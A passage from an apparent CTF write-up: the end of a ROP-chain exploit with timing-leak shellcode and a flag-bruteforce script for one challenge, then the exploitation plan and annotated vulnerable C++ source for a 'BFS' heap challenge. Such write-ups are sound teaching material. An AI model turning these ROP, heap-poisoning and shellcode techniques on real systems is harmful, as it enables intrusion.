class="cl"> </span></span><span class="line"><span class="cl"><span class="n">target_addr1</span> <span class="o">=</span> <span class="n">fake_rbp1</span> <span class="o">-</span> <span class="mh">0x80</span> <span class="c1"># pop rbx; pop rbp, r12 13 14 15</span> </span></span><span class="line"><span class="cl"><span class="n">target_addr2</span> <span class="o">=</span> <span class="n">fake_rbp2</span> <span class="o">-</span> <span class="mh">0x20</span> <span class="c1"># mov rcx, [rdx+0A8h]</span> </span></span><span class="line"><span class="cl"><span class="n">target_addr3</span> <span class="o">=</span> <span class="n">fake_rbp2</span> <span class="o">-</span> <span class="mh">0x80</span><span class="o">+</span><span class="mh">0x38</span> <span class="c1"># 0x90529: pop rdx; pop rbx; ret; </span> </span></span><span class="line"><span class="cl"><span class="n">target_addr4</span> <span class="o">=</span> <span class="n">fake_rbp2</span> <span class="o">-</span> <span class="mh">0x80</span> <span class="c1"># mmap</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="n">fake_rbp2</span> <span class="o">+</span> <span class="mh">0x100</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr1</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"><span class="p">])</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 0x8f4e4: mov rax, qword ptr [rdi + 0x68]; ret;</span> </span></span><span class="line"><span class="cl"><span class="c1"># first time to call magic gadget</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">40</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x13</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr1</span><span class="o">+</span><span class="mh">0x3d</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">magic_gadget</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">[</span><span class="n">ret</span><span class="p">]</span> <span class="o">*</span> <span class="mh">0x40</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr1</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span><span class="p">]</span> <span class="o">*</span> <span class="mi">3</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr3</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr4</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr3</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 11EBC0 : mmap64</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x11EBC0</span> <span class="o">-</span> <span class="mh">0x80514</span> <span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr4</span><span class="o">+</span><span class="mh">0x3d</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">magic_gadget</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x404a10</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 0x90529: pop rdx; pop rbx; ret; </span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x90529</span> <span class="o">-</span> <span class="mh">0x219aa0</span> <span class="o">+</span> <span class="mh">0x100000000</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr3</span><span class="o">+</span><span class="mh">0x3d</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">magic_gadget</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x404a10</span><span class="o">+</span><span class="mh">0x30</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 0x53b56: setcontext+XXX</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x53B56</span> <span class="o">-</span> <span class="mh">0x806c6</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">target_addr2</span><span class="o">+</span><span class="mh">0x3d</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">magic_gadget</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x404a10</span><span class="o">+</span><span class="mh">0x30</span> <span class="o">*</span> <span class="mi">2</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">target_addr2</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x1</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">ret</span><span class="p">)[:</span><span class="mi">6</span><span class="p">])</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># mmap(0xdead000, 0x1000, 7, 0x22, -1, 0)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">:</span> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">8</span><span class="p">:</span> <span class="n">target_addr4</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x10</span><span class="p">:</span> <span class="n">leave_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0xa8</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="n">ret</span><span class="p">,</span> <span class="c1"># rcx</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x70</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="c1"># rsi</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x68</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="mh">0xdead000</span><span class="p">,</span> <span class="c1"># rdi</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x88</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="mi">7</span><span class="p">,</span> <span class="c1"># rdx</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x98</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="mh">0x22</span><span class="p">,</span> <span class="c1"># rcx</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x28</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">),</span> <span class="c1"># r8</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x30</span><span class="o">-</span><span class="mi">8</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># r9</span> </span></span><span class="line"><span class="cl"><span class="p">}))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># read and jump to run shellcode</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0xdead000</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0xdead000</span> </span></span><span class="line"><span class="cl"><span class="p">]))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">other_argv</span><span class="p">:</span><span class="nb">str</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;extra_argv&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">index</span><span class="p">,</span> <span class="n">guess_chr</span> <span class="o">=</span> <span class="n">other_argv</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;,&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sc</span> <span class="o">=</span> <span class="s2">&#34;&#34;&#34; </span></span></span><span class="line"><span class="cl"><span class="s2">push 0x1010101 ^ 0x747874 </span></span></span><span class="line"><span class="cl"><span class="s2">xor dword ptr [rsp], 0x1010101 </span></span></span><span class="line"><span class="cl"><span class="s2">mov rax, 0x2e67616c662f7265 </span></span></span><span class="line"><span class="cl"><span class="s2">push rax </span></span></span><span class="line"><span class="cl"><span class="s2">mov rax, 0x73752f656d6f682f </span></span></span><span class="line"><span class="cl"><span class="s2">push rax </span></span></span><span class="line"><span class="cl"><span class="s2">push rsp </span></span></span><span class="line"><span class="cl"><span class="s2">pop rdi </span></span></span><span class="line"><span class="cl"><span class="s2">xor esi, esi </span></span></span><span class="line"><span class="cl"><span class="s2">xor edx, edx </span></span></span><span class="line"><span class="cl"><span class="s2">mov rax, 2 /* open flag.txt*/ </span></span></span><span class="line"><span class="cl"><span class="s2">syscall </span></span></span><span class="line"><span class="cl"><span class="s2">mov rdi, rax </span></span></span><span class="line"><span class="cl"><span class="s2">mov rsi, rsp </span></span></span><span class="line"><span class="cl"><span class="s2">mov rdx, 0x60 </span></span></span><span class="line"><span class="cl"><span class="s2">mov rax, 0 </span></span></span><span class="line"><span class="cl"><span class="s2">syscall </span></span></span><span class="line"><span class="cl"><span class="s2">cmp byte ptr [rsi + </span><span class="si">{}</span><span class="s2">], </span><span class="si">{}</span><span class="s2"> </span></span></span><span class="line"><span class="cl"><span class="s2">jnz $+14 </span></span></span><span class="line"><span class="cl"><span class="s2">nop </span></span></span><span class="line"><span class="cl"><span class="s2">nop </span></span></span><span class="line"><span class="cl"><span class="s2">xor edi, edi </span></span></span><span class="line"><span class="cl"><span class="s2">xor edx, edx </span></span></span><span class="line"><span class="cl"><span class="s2">mov dl, 0xf0 </span></span></span><span class="line"><span class="cl"><span class="s2">xor eax, eax </span></span></span><span class="line"><span class="cl"><span class="s2">syscall </span></span></span><span class="line"><span class="cl"><span class="s2">mov rax, 60 </span></span></span><span class="line"><span class="cl"><span class="s2">syscall </span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">guess_chr</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="n">sc</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">t1</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">can_recv_raw</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">t2</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">t2</span> <span class="o">-</span> <span class="n">t1</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">ic</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;guess right: &#34;</span><span class="p">,</span> <span class="n">guess_chr</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ic</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span></span></span></code></pre></td></tr></table> </div> </div><p>and <code>bruteforce.py</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span> </span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span><span class="o">,</span> <span class="nn">string</span> </span></span><span class="line"><span class="cl"><span class="n">cmd</span> <span class="o">=</span> <span class="s2">&#34;python3 exp_cli_remote.py -E </span><span class="se">\&#34;</span><span class="si">{}</span><span class="s2">,</span><span class="si">{}</span><span class="se">\&#34;</span><span class="s2"> re challs.ctf.sekai.team:4000 -nl&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;SEKAI{&#34;</span> </span></span><span class="line"><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="mi">6</span> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">index</span><span class="o">+</span><span class="mh">0x40</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="s2">&#34;_}&#34;</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">cmd_</span> <span class="o">=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd_</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">flag</span> <span class="o">+=</span> <span class="n">char</span> </span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">char</span> <span class="o">==</span> <span class="s2">&#34;}&#34;</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">break</span></span></span></code></pre></td></tr></table> </div> </div><p>Please install <a href="https://github.com/RoderickChan/pwncli"target="_blank" rel="external nofollow noopener noreferrer">RoderickChan/pwncli: Do pwn by cli (github.com)<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a> if you want to use my exp, then <code>python3 bruteforce.py</code> to get the flag.</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003003258313.png' alt="image-20221003003258313"></p> <p>The remote flag is <code>SEKAI{IT_KINDA_GETS_COMPLICATED}</code>. I don&rsquo;t know why I cannot get <code>I</code> in the word <code>KINDA</code>&hellip;&hellip;it&rsquo;s magic.</p> <h2 class="heading-element" id="2-bfs"><span>2 BFS</span> <a href="#2-bfs" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><ul> <li>second blood</li> <li>spend <code>3.5</code> hours</li> </ul> <p>This challenge is about <code>C++ std::queue</code>. As long as you understand the mechanism of <code>queue</code>, you can solve the task quickly.</p> <p>All steps in summary:</p> <ul> <li>heap fengshui using <code>std:queue</code> pop and push</li> <li>leak heap address by <code>parent</code> array overflow</li> <li>tcachebin poisoning to allocate at <code>.bss</code> and to modify <code>adj_matrix</code></li> <li>change the content of <code>got.plt</code> and call <code>system(&quot;/bin/sh&quot;)</code> when the program exits</li> </ul> <h3 class="heading-element" id="2-1-analysis-of-program"><span>2-1 Analysis of Program</span> <a href="#2-1-analysis-of-program" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>As the source code is given, I will analyze the program based on that. It&rsquo;s BSF algorithm to find the short path in an undirected graph. The edge has no direction because it&rsquo;s adjacent matrix is symmetric.</p> <p>I write my analysis on comment.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include&lt;vector&gt; </span></span></span><span class="line"><span class="cl"><span class="cp">#include&lt;queue&gt; </span></span></span><span class="line"><span class="cl"><span class="cp">#include&lt;utility&gt; </span></span></span><span class="line"><span class="cl"><span class="cp">#include&lt;string&gt; </span></span></span><span class="line"><span class="cl"><span class="cp">#include&lt;iostream&gt; </span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp"></span> </span></span><span class="line"><span class="cl"><span class="cp">#define MAX_NUMBER_OF_NODES 256 </span></span></span><span class="line"><span class="cl"><span class="cp"></span> </span></span><span class="line"><span class="cl"><span class="n">std</span><span class="o">::</span><span class="n">queue</span><span class="o">&lt;</span><span class="kt">uint8_t</span><span class="o">&gt;</span> <span class="n">q</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">vis</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">uint8_t</span><span class="p">[</span><span class="n">MAX_NUMBER_OF_NODES</span><span class="p">];</span> </span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">parent</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">uint8_t</span><span class="p">[</span><span class="n">MAX_NUMBER_OF_NODES</span><span class="p">];</span> </span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">adj_matrix</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">uint8_t</span><span class="p">[</span><span class="n">MAX_NUMBER_OF_NODES</span><span class="o">*</span><span class="n">MAX_NUMBER_OF_NODES</span><span class="p">];</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">sig_alarm_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">signum</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Connect Timeout&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span> <span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">init</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span><span class="n">sig_alarm_handler</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">alarm</span><span class="p">(</span><span class="mi">120</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">bfs</span><span class="p">(</span><span class="n">uint</span> <span class="n">from</span><span class="p">,</span> <span class="n">uint</span> <span class="n">dest</span><span class="p">,</span> <span class="n">uint</span> <span class="n">as</span> <span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">uint</span> <span class="n">tmp</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">parent</span><span class="p">[</span><span class="n">from</span><span class="p">]</span> <span class="o">=</span> <span class="n">from</span><span class="p">;</span> <span class="c1">// root node of a path, whose parent node is itself --&gt; overflow3 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">from</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">vis</span><span class="p">[</span><span class="n">from</span><span class="p">]</span> <span 